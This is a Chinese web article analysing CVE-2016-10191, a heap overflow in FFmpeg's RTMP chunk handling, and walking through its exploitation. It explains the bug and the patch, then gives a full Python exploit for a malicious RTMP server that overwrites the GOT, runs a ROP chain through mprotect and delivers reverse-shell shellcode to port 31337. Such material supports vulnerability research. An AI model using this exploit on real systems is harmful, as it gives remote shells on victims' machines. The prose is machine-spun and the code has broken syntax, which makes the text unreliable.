频道栏目
首页 > 资讯 > 系统安全 > 正文

FFmpeg破绽漏洞bug研究及运用,漏洞编号:CVE-2016-10191

17-09-25        来源:[db:作者]  
收藏   我要投稿

一、媒介
FFmpeg是一个闻名的处置音视频的开源名目,应用者浩繁。2016年末paulcher发明FFmpeg三个堆溢出漏洞破绽bug分别为CVE-2016-10190、CVE-2016-10191和CVE-2016-10192。网上对CVE-2016-10190曾经有了许多阐发文章,然则CVE-2016-10191尚未有其他人阐发过。本文具体阐发了CVE-2016-10191,是进修漏洞破绽bug发掘和应用的一个异常不错的案例。
二、漏洞破绽bug成因阐发
在 RTMP协定中,最小的发送数据包的单元是一个 chunk。客户端和办事器会相互协商好发送给对方的 chunk 的最大巨细,初始为 0×80 个字节。一个 RTMP Message 假如超出了Max chunk size, 就必要被拆分红多个 chunk 来发送。在 chunk 的 header 中会带有 Chunk Stream ID 字段(前面简称 CSID),用于平等端在收到 chunk 的时刻从新组装成一个 Message,雷同的CSID 的 chunk 是属于同一个 Message 的。
在每个 Chunk 的 Message Header 部门都邑有一个 Size 字段存储该 chunk 所属的 Message 的巨细,按事理假如是同一个 Message 的 chunk 的话,那末 size 字段都应该是雷同的。此次漏洞破绽bug的原由是对付属于同一个 Message 的 Chunk的 size 字段没有校验先后能否同等,招致写入堆的时刻缓冲区溢出。
漏洞破绽bug发生在rtmppkt.c文件中的rtmp_packet_read_one_chunk函数中,漏洞破绽bug相干部门的源代码以下
size = size – p->offset; //size 为 chunk 中提取的 size 字段
//没有反省先后 size 能否同等
toread = FFMIN(size, chunk_size);//节制toread的值
if (ffurl_read_complete(h, p->data + p->offset, toread) != toread) {
ff_rtmp_packet_destroy(p);
return AVERROR(EIO);
    }
在 max chunk size 为0×80的前提下,假如前一个 chunk 的 size 为一个比拟下的数值,如0xa0,尔后一个 chunk 的 size 为一个异常大的数值,如0×2000, 那末程式会分派一个0xa0巨细的缓冲区用来存储全部 Message,第一次挪用ffurlreadcomplete函数会读取0×80个字节,放到缓冲区中,而第二次挪用的时刻也是读取0×80个字节,这就造成了缓冲区的溢出。
民间修补计划
异常简略,只需参加对先后两个 chunk 的 size 巨细能否同等的断定就行了,假如不同等的话就报错,并且间接把前一个 chunk 给销毁掉。
+    if (prev_pkt[channel_id].read && size != prev_pkt[channel_id].size) {
 +        av_log(NULL, AV_LOG_ERROR, "RTMP packet size mismatch %d != %d\n",
 +                size,
 +                prev_pkt[channel_id].size);
 +        ff_rtmp_packet_destroy(&prev_pkt[channel_id]);
 +        prev_pkt[channel_id].read = 0;
+    }
 +
三、漏洞破绽bug应用情况的搭建
漏洞破绽bug应用的靶机情况
操作系统:Ubuntu 16.04 x64
FFmpeg版本:3.2.1 (参照https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu编译,必要把民间教程中说起的一切 encoder编译出来。)
民间的编译进程由于许多都是动态编译,在一定程度上降低了应用难度。
四、漏洞破绽bug应用剧本的编写
首先要肯定大抵的应用思绪,由因而堆溢出,并且是随便率性多个字节的,以是第一步是察看一下堆上有甚么比拟风趣的数据结构能够笼罩。堆上重要有一个RTMPPacket结构体的数组,每个RTMPPakcet就对应一个 RTMP Message,RTMPPacket的结构体界说是如许的:
/**
 * structure for holding RTMP packets
 */
typedefstructRTMPPacket {
intchannel_id; ///do with audio/video channels though)
RTMPPacketType type;       ///
uint32_t       timestamp;  ///
uint32_t       ts_field;   ///
    uint32_t       extra;      ////这个是 Message Stream ID?
uint8_t        *data;      ///
int            size;       ///
int            offset;     ///
int            read;       ///
} RTMPPacket;
此中有一个很重要的 data 字段就指向这个 Message 的 data buffer,也是分派在堆上。客户端在收到办事器发来的 RTMP 包的时刻会把包的内容存储在 data buffer 上,以是假如咱们节制了RTMPPacket中的 data 指针,就可以够做到随便率性地点写了。
咱们的最终目的是要履行一段shellcode,反弹一个 shell 到咱们的恶意病毒木马办事器上。而要履行shellcode,能够经由进程mprotect函数将一段内存地区的权限改动为rwx,尔后将shellcode安排到这段内存地区内,尔后跳转曩昔履行。那末怎样才能去履行mprotect呢,固然是经由进程 ROP 了。ROP 能够安排在堆上,尔后在程式中探求适合的 gadget 把栈指针迁徙到堆上就行了。
那末第一步便是若何节制RTMPPacket中的 data 指针了,咱们先发一个 chunk 给客户端,CSID为0×4,程式为挪用上面这个函数在堆上分派一个RTMPPacket[20] 的数组,尔后在数组上面开拓一段buffer存储Message的 data。

if ((ret = ff_rtmp_check_alloc_array(prev_pkt_ptr, nb_prev_pkt,
channel_id)) 0)
很容易想到应用堆溢出笼罩这个RTMPPacket的数组就可以够了,然则这时刻的堆结构数组是在可溢出的heap chunk的上方,怎样办?再发送一个CSID为20的 chunk 给客户端,ff_rtmp_check_alloc_array会挪用realloc函数给数组从新分派更大的空间,尔后数组就跑到上面去了。此时的堆结构以下

尔后咱们就可以够结构数据包来溢出笼罩数组了,咱们在数据包中捏造一个RTMPPacket结构体,尔后把数组的第二项笼罩成咱们捏造的结构体。此中 data 字段指向 got 表中的realloc(为何笼罩realloc前面会提), size 随便指定一个0×4141, read 字段指定为0×180, 只需不为0就行了(为0的话会在堆上malloc一块地区尔后把 data 指针指向这块地区)。
这以后咱们再发送 CSID 为2的一个 chunk,chunk 的内容便是要改动的 got 表的内容。这里咱们笼罩成movrsp, rax这个gadget 的地点,用来迁徙栈。接下来咱们就把 ROP 安排在堆上。ROP 做了这么几件事:
1 挪用mprotect使得代码段可写
2 把shellcode写入0×40000肇端的地位
3 跳转到0×400000履行shellcode
发送充足数目的包安排好 ROP 以后,就要想办法挪用realloc函数了,ffrtmpcheckallocarray函数挪用了realloc, 发一个 CSID 为63的曩昔,就可以触发这个函数挪用realloc,在函数挪用realloc以前恰好能将RTMPPacket数组的肇端地点填入rax,尔后挪用realloc的时刻由于 got 表被覆写了,现实挪用了movrsp, rax,尔后就胜利让栈指针指向堆上了。以后就可以够胜利开端履行咱们的shellcode了。这个时刻全部堆的结构以下:

末了应用胜利的截图以下:
先在本机开启一个恶意病毒木马的 RTMP 办事端

尔后应用ffmpeg程式去衔接上图的办事端

在另一个终端用nc监听31337端口

能够看到程式履行了咱们的shellcode以后胜利连上了31337端口,并反弹了一个 shell。
末了附上完备的exp,依据https://gist.github.com/PaulCher/9acf4dc47c95a8b40b456ba03b05a913改动而来
#!/usr/bin/python
#coding=utf-8
 
importos
import socket
importstruct
from time import sleep
 
frompwn import *
 
bind_ip = '0.0.0.0'
bind_port = 12345
 
elf = ELF('/home/dddong/bin/ffmpeg')
 
gadget = lambda x: next(elf.search(asm(x, arch = 'amd64', os = 'linux')))
 
 
# Gadgets that we need to know inside binary
# to successfully exploit it remotely
add_esp_f8 = 0x00000000006719e3
pop_rdi = gadget('pop rdi; ret')
pop_rsi = gadget('pop rsi; ret')
pop_rdx = gadget('pop rdx; ret')
pop_rax = gadget('pop rax; ret')
mov_rsp_rax = gadget('movrsp, rax; ret')
mov_gadget = gadget('mov qword ptr [rax], rsi ; ret')
 
 
got_realloc = elf.got['realloc']
log.info("got_reallocaddr:%#x" % got_realloc)
plt_mprotect = elf.plt['mprotect']
log.info("plt_mprotectaddr:%#x" % plt_mprotect)
 
shellcode_location = 0x400000
# backconnect 127.0.0.1:31337 x86_64 shellcode
shellcode = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05";
 
shellcode = '\x90' * (8 - (len(shellcode) % 8)) + shellcode #8字节对齐
 
defcreate_payload(size, data, channel_id):
天生一个RTMP Message
payload = ''
    #Message header的范例为1
payload += p8((1 6) + channel_id) # (hdr6) &channel_id;
payload += '\0\0\0' # ts_field
payload += p24(size) # size
payload += p8(0x00) # Message type
 
payload += data # data
return payload
 
defcreate_rtmp_packet(channel_id, write_location, size=0x4141):
发明一个RTMPPacket结构体
data = ''
data += p32(channel_id) # channel_id
data += p32(0) # type
data += p32(0) # timestamp
data += p32(0) # ts_field
data += p64(0) # extra
 

 

data += p64(write_location) # write_location - data
 
data += p32(size) # size
data += p32(0) # offset
data += p64(0x180) # read
return data
 
def p24(data):
packed_data = p32(data, endian='big')[1:]
assert(len(packed_data) == 3)
returnpacked_data
 
 
defhandle_request(client_socket):
    v = client_socket.recv(1)   #接管握手包C0
client_socket.send(p8(3))   #发送握手包S0, 版本号
 
payload = ''
    payload += '\x00' * 4   #好像是 timestamp,没甚么卵用
    payload += '\x00' * 4   #这四个字节是 Server 的版本号,这里设置为全0,避免客户端走校验的流程
    payload += os.urandom(1536 - 8) #剩下的都随机天生
client_socket.send(payload) #发送握手包S1
client_socket.send(payload) #发送握手包S2
 
client_socket.recv(1536) #接管握手包C1
client_socket.recv(1536) #接管握手包C2
以上便是全部握手进程
print 'sending payload'
payload = create_payload(0xa0, 'U' * 0x80, 4)
client_socket.send(payload)
 
payload = create_payload(0xa0, 'A' * 0x80, 20)
client_socket.send(payload)
 
data = ''
data += 'U' * 0x20 # the rest of chunk
data += p64(0)     # zerobytes
    data += p64(0x6a1) # real size of chunk, 这一行size 能够必要依据现实情况变动
data += p64(add_esp_f8) # trampoline to rop
    data += 'Y' * (0x30 - 8) # channel_zero, 添补RTMPPacket[0]
    data += 'Y' * 0x20 # channel_one, 添补部门RTMPPacket[1]
 
payload = create_payload(0x2000, data, 4)
client_socket.send(payload) #到这一步程式并无瓦解
data = ''
data += 'I' * 0x10 # fill the previous RTMPPacket[1]
    #data += p64(add_rsp_a8)
 
data += create_rtmp_packet(2, got_realloc)
    data += 'D' * (0x80 - len(data)) #添补到0x80个字节
 
payload = create_payload(0x1800, data, 4)
client_socket.send(payload)
 
把 got 表中av_realloc改写
jmp_to_rop = ''
jmp_to_rop += p64(mov_rsp_rax)
jmp_to_rop += 'A' * (0x80 - len(jmp_to_rop))
payload = create_payload(0x1800, jmp_to_rop, 2)
client_socket.send(payload)
 
rop = ''
rop += 'AAAAAAAA' * 6 # padding
 
rop += p64(pop_rdi)
rop += p64(shellcode_location) #shellcode不放在堆上是由于难以 leak 堆地点?
rop += p64(pop_rsi)
rop += p64(0x1000)
rop += p64(pop_rdx)
rop += p64(7)
rop += p64(plt_mprotect)
    #mprotect(shellcode_location, 0x1000, 7)
 
write_location = shellcode_location
shellslices = map(''.join, zip([iter(shellcode)]8)) #将shellcode以8个字节为1组打包
 
    for shell in shellslices:   #把shellcode经由进程rop的方法写入
rop += p64(pop_rax)
rop += p64(write_location)
rop += p64(pop_rsi)
rop += shell
rop += p64(mov_gadget)
 
write_location += 8
 
rop += p64(shellcode_location)
rop += 'X' * (0x80 - (len(rop) % 0x80)) #0x80个字节对齐
 
rop_slices = map(''.join, zip([iter(rop)]0x80)) #将rop以0x80个字节为1组打包
for data in rop_slices:
payload = create_payload(0x2000, data, 4)
client_socket.send(payload)
 
    # does not matter what data to send because we try to trigger
    # av_realloc function inside ff_rtmp_check_alloc_array
    # so that av_realloc(our_data) shall be called
payload = create_payload(1, 'A', 63)
client_socket.send(payload)
 
sleep(3)
print 'sending done'
    #raw_input("wait for user interaction.")
client_socket.close()
 
if name == 'main':
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
s.bind((bind_ip, bind_port))
s.listen(5)
 
while True:
print 'Waiting for new client...'
client_socket, addr = s.accept()
handle_request(client_socket)
相关TAG标签
上一篇:开源数据库MongoDB递交IPO申请
下一篇:HTC员工转Google门槛多!先离职结清年资,再由Google面试
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站